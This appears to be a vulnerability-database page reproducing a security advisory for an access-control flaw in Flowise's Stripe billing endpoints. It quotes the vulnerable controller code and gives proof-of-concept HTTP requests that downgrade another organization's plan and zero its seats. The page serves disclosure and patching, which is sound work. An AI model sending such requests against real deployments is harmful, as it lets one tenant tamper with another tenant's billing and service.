High

Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

  • Disclosed: 04.08.2026
  • Updated: 11.10.2026 10:22

Summary

Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

Details

Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

File

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

ts
router.post('/update-additional-seats', organizationController.updateAdditionalSeats)
router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan)
updateSubscriptionPlan

File

packages/server/src/enterprise/controllers/organization.controller.ts

ts
public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, newPlanId, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateSubscriptionPlan(
        req,
        subscriptionId,
        newPlanId,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation: subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

ts
public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) {
    const { subscriptionId, quantity, prorationDate } = req.body

    const identityManager = getRunningExpressApp().identityManager

    const result = await identityManager.updateAdditionalSeats(
        subscriptionId,
        quantity,
        prorationDate
    )

    return res.status(StatusCodes.OK).json(result)
}

Again, the subscriptionId is taken directly from the request body without verifying ownership.

PoC

Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

sub_YYYYYYYYYYYY

Step 2 - Modify victim subscription

http
POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "newPlanId": "free_plan_id",
  "prorationDate": 1735689600
}

Step 3 - Change seat quantity

http
POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "quantity": 0,
  "prorationDate": 1735689600
}

Impact

An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

  • Unauthorized subscription upgrades to higher-priced plans
  • Manipulation of paid seat quantities leading to unintended charges
  • Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise < 3.1.3 3.1.3

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-284, CWE-639
Platform
npm
Package
flowise
Disclosed
04.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-gmmw-qg98-6j6p - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation this entry
    High CVE-2026-70476 < 3.1.3 3.1.3
  2. Critical CVE-2026-69259 < 3.1.3 3.1.3
  3. Critical CVE-2026-69256 < 3.1.3 3.1.3
Show more (20) Showing 20 of 90

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.